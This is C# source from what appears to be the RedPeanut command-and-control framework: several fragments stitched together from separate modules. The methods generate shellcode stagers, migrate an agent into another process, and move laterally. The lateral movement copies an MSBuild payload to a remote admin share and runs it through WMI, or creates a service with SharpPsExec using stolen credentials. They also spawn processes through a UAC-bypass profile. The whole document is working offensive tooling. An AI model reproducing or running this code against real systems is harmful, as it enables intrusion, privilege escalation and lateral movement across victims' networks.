private void RunMigrate(int pid)
{
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
//Create RedPeanutAgent assembly
string source = File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE));
ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), RedPeanutC2.server.GetProfile(((AgentInstanceHttp)agent).GetProfileid()), ((AgentInstanceHttp)agent).GetProfileid());
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), ((AgentInstanceHttp)agent).TargetFramework, conf);
string b64CompressedAgent = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Agent)));
string instanceid = RandomAString(10, new Random());
//Create AgentState
AgentState astate = new AgentState
{
Agentid = agent.AgentId,
sessionkey = agent.AesManager.Key,
sessioniv = agent.AesManager.IV,
cookie = ((AgentInstanceHttp)agent).Cookie,
RequestInstanceid = instanceid
};
if (agent.Pivoter != null)
{
astate.pipename = agent.Pivoter.AgentId;
}
string b64State = Convert.ToBase64String(Utility.CompressGZipAssembly(Encoding.Default.GetBytes(JsonConvert.SerializeObject(astate, Formatting.Indented))));
string[] argsm = Utility.Split(b64State, 100).ToArray();
//Read template
source = File.ReadAllText(Path.Combine(folderrpath, MIGRATE_TEMPLATE));
//Replace
source = Replacer.ReplaceMigrate(source, Convert.ToBase64String(CompressGZipAssembly(
Builder.GenerateShellcode(b64CompressedAgent, RandomAString(10, new Random()) + ".exe", "RedPeanutAgent.Worker", "LoadAndRun", argsm)
)), pid);
//Run
string migrate = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", ((AgentInstanceHttp)agent).TargetFramework, compprofile: CompilationProfile.Migrate)));
RunAssemblyBase64(
migrate,
"RedPeanutMigrate",
new string[] { " " },
agent, tasktype: "migrate", instanceid: instanceid);
}
public static void RunAssembly(string resname, string type, string[] args, IAgentInstance agent)
{
if (agent != null)
{
ModuleConfig modconfig = new ModuleConfig
{
Assembly = ReadResourceFile(resname),
Method = "Execute",
Moduleclass = type,
Parameters = args
};
if (agent.Managed)
{
modconfig.Assembly = ReadResourceFile(resname);
}
else
{
modconfig.Assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(
ReadResourceFile(resname), RandomAString(10, new Random()) + ".exe", type, "Execute", args)));
}
TaskMsg task = new TaskMsg
{
TaskType = "module",
Instanceid = RandomAString(10, new Random()),
ModuleTask = modconfig,
Agentid = agent.AgentId
};
if (agent.Pivoter != null)
{
task.AgentPivot = agent.Pivoter.AgentId;
}
agent.SendCommand(task);
}
}
private void Run()
{
try
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password) || string.IsNullOrEmpty(lhost) || (string.IsNullOrEmpty(lpipename) && lport < 1) || profile < 1)
{
return;
}
else
{
// Parse .cs sorce and repalce variable
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile))
{
string domainname = ".";
if (!string.IsNullOrEmpty(domain))
{
domainname = domain;
}
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
if (lpipename == null)
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile);
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
//Create TaskMsg gzip
if (agent != null)
{
source = File.ReadAllText(Path.Combine(folderrpath, SPAWNER_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" }))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#DOMAIN#", domain);
string spawner = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
Dictionary <string, string> msbuildargs = new Dictionary <string, string>();
msbuildargs.Add("#{taskname}", taskname);
MSBuildGenerator gen = new MSBuildGenerator(spawner, msbuildargs);
string pathdest = string.Format(@"\\{0}\C$\Windows\temp", targethost);
string filename = RandomAString(10, new Random()).ToLower() + ".xml";
string filesrc = Convert.ToBase64String(CompressGZipAssembly(Encoding.Default.GetBytes(gen.GetScriptText())));
string destinattionfull = pathdest.TrimEnd('\\') + @"\" + filename;
string destinationpath = ".";
if (!string.IsNullOrEmpty(pathdest))
{
destinationpath = pathdest.Replace("\\", "\\\\");
}
string destinationfilename = "";
if (!string.IsNullOrEmpty(filename))
{
destinationfilename = filename;
}
// Parse .cs sorce and repalce variable
source = File.ReadAllText(Path.Combine(folderrpath, FILEUPLOAD_TEMPLATE));
source = Replacer.ReplaceFileUpLoad(source, filesrc, destinationpath, destinationfilename, username, password, domainname);
string assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, "FileUpLoader.dll", 40)));
//Task agent to copy file to target host
RunAssemblyBase64(assembly, "FileUpLoader", new string[] { "pippo" }, agent);
//Run msbuld via wmi
List <string> args = new List <string>();
args.Add("action=create");
args.Add("computername=" + targethost);
args.Add("username="******"\\" + username);
args.Add("password="******"command=C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\Windows\\temp\\" + destinationfilename);
string s = "";
foreach (string ss in args.ToArray())
{
s += ss;
}
Console.WriteLine("String command: " + s);
RunAssembly(PL_MODULE_SHARPWMI, "SharpWMI.Program", args.ToArray(), agent);
}
}
}
} catch (Exception e)
{
Console.WriteLine("[*] Error running task build {0}", e.Message);
}
}
public static void RunAssemblyBase64(string assembly, string method, string type, string[] args, IAgentInstance agent, string tasktype = null, string destfilename = null, string instanceid = null)
{
switch (tasktype)
{
case "download":
FileDownloadConfig downloadconfig = new FileDownloadConfig
{
Assembly = assembly,
Method = method,
Moduleclass = type,
Parameters = args.ToArray <string>(),
FileNameDest = destfilename
};
TaskMsg downloadtask = new TaskMsg
{
TaskType = "download",
DownloadTask = downloadconfig,
Agentid = agent.AgentId
};
if (instanceid == null)
{
downloadtask.Instanceid = RandomAString(10, new Random());
}
else
{
downloadtask.Instanceid = instanceid;
}
if (agent.Pivoter != null)
{
downloadtask.AgentPivot = agent.Pivoter.AgentId;
}
agent.SendCommand(downloadtask);
break;
case "migrate":
ModuleConfig migrateconfig = new ModuleConfig
{
Assembly = assembly,
Method = method,
Moduleclass = type,
Parameters = args.ToArray <string>()
};
TaskMsg migratetask = new TaskMsg
{
TaskType = "migrate",
ModuleTask = migrateconfig,
Agentid = agent.AgentId
};
if (instanceid == null)
{
migratetask.Instanceid = RandomAString(10, new Random());
}
else
{
migratetask.Instanceid = instanceid;
}
if (agent.Pivoter != null)
{
migratetask.AgentPivot = agent.Pivoter.AgentId;
}
agent.SendCommand(migratetask);
break;
default:
ModuleConfig modconfig = new ModuleConfig
{
Assembly = assembly,
Method = method,
Moduleclass = type,
Parameters = args.ToArray <string>()
};
if (agent.Managed)
{
modconfig.Assembly = assembly;
}
else
{
modconfig.Assembly = Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(
assembly, RandomAString(10, new Random()) + ".exe", type, method, args)));
}
TaskMsg task = new TaskMsg
{
TaskType = "module",
ModuleTask = modconfig,
Agentid = agent.AgentId
};
if (instanceid == null)
{
task.Instanceid = RandomAString(10, new Random());
}
else
{
task.Instanceid = instanceid;
}
if (agent.Pivoter != null)
{
task.AgentPivot = agent.Pivoter.AgentId;
}
agent.SendCommand(task);
break;
}
}
private void Run()
{
List <string> args = new List <string>();
if (username == null || password == null || domain == null || targethost == null || lhost == null || profile == 0 || (lport == 0 && lpipename == null))
{
return;
}
else
{
//Create stager stream gzip
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profile))
{
string source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
if (lpipename == null)
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", lhost, lport, Program.GetC2Manager().GetC2Server().GetProfile(profile), profile);
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", lhost, lpipename, Program.GetC2Manager().GetC2Server().GetProfile(profile));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), 40, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
//Create TaskMsg gzip
if (agent != null)
{
//Create Service stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SERVICE_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(Builder.GenerateShellcode(stagerstr, RandomString(10, new Random()) + ".exe", "RedPeanutRP", "Main", new string[] { "" }))))
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profile).Spawn);
string servicestr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()), 40, "exe")));
//Create SharpPsExec stream gzip
source = File.ReadAllText(Path.Combine(folderrpath, SHARPSEXEC_TEMPLATE))
.Replace("#DOMAIN#", domain)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#HOSTANME#", targethost)
.Replace("#ASSEMBLY#", servicestr)
.Replace("#EXENAME#", (!string.IsNullOrEmpty(exename)) ? exename : RandomAString(10, new Random()) + ".exe")
.Replace("#SERVICEDISPLAYNAME#", (!string.IsNullOrEmpty(servdispname)) ? servdispname : RandomAString(10, new Random()))
.Replace("#SERVICEDESCRIPTION#", (!string.IsNullOrEmpty(servdescr)) ? servdescr : RandomAString(10, new Random()))
.Replace("#SERVICENAME#", (!string.IsNullOrEmpty(servname)) ? servname : RandomAString(10, new Random()));
string sharppsexecstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", 40)));
RunAssemblyBase64(sharppsexecstr, "SharpPsExec.Program", new string[] { "pippo" }, agent);
}
}
}
}
private void Run()
{
try
{
string host = ((AgentInstanceHttp)agent).GetAddress();
int port = ((AgentInstanceHttp)agent).GetPort();
int profileid = ((AgentInstanceHttp)agent).GetProfileid();
int targetframework = ((AgentInstanceHttp)agent).TargetFramework;
string pipename = "";
if (agent.Pivoter != null)
{
host = agent.Pivoter.SysInfo.Ip;
port = 0;
profileid = RedPeanutC2.server.GetDefaultProfile();
targetframework = agent.TargetFramework;
pipename = agent.AgentId;
}
else
{
host = ((AgentInstanceHttp)agent).GetAddress();
port = ((AgentInstanceHttp)agent).GetPort();
profileid = ((AgentInstanceHttp)agent).GetProfileid();
targetframework = agent.TargetFramework;
}
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
string source;
if (string.IsNullOrEmpty(pipename))
{
//Http no pivot stager
ListenerConfig conf = new ListenerConfig("", host, port, Program.GetC2Manager().GetC2Server().GetProfile(profileid), profileid);
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
else
{
//NamedPipe enable stager
ListenerPivotConfig conf = new ListenerPivotConfig("", host, pipename, Program.GetC2Manager().GetC2Server().GetProfile(profileid));
source = File.ReadAllText(Path.Combine(folderrpath, STAGER_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
}
string stagerstr = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework)));
ModuleConfig modconfig = new ModuleConfig
{
Assembly = stagerstr,
Method = "Execute",
Moduleclass = "RedPeanutRP",
Parameters = new string[] { "pippo" }
};
TaskMsg task = new TaskMsg
{
TaskType = "module",
ModuleTask = modconfig,
Agentid = agent.AgentId
};
if (agent.Pivoter != null)
{
task.AgentPivot = agent.Pivoter.AgentId;
}
source = File.ReadAllText(Path.Combine(folderrpath, SPAWN_TEMPLATE))
.Replace("#NUTCLR#", Convert.ToBase64String(CompressGZipAssembly(
Builder.GenerateShellcode(stagerstr, RandomAString(10, new Random()) + ".exe", "RedPeanutRP", "Execute", new string[] { "pippo" })
))
)
.Replace("#SPAWN#", Program.GetC2Manager().GetC2Server().GetProfile(profileid).Spawn)
.Replace("#SHELLCODE#", null)
.Replace("#USERNAME#", username)
.Replace("#PASSWORD#", password)
.Replace("#DOMAIN#", domain)
.Replace("#PROCESS#", null);
string spawnprocess = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, RandomAString(10, new Random()) + ".dll", targetframework, compprofile: CompilationProfile.UACBypass)));
RunAssemblyBase64(
spawnprocess,
"RedPeanutSpawn",
new string[] { " " },
agent);
}
}
catch (Exception)
{
Console.WriteLine("[*] Errore generating task");
}
}
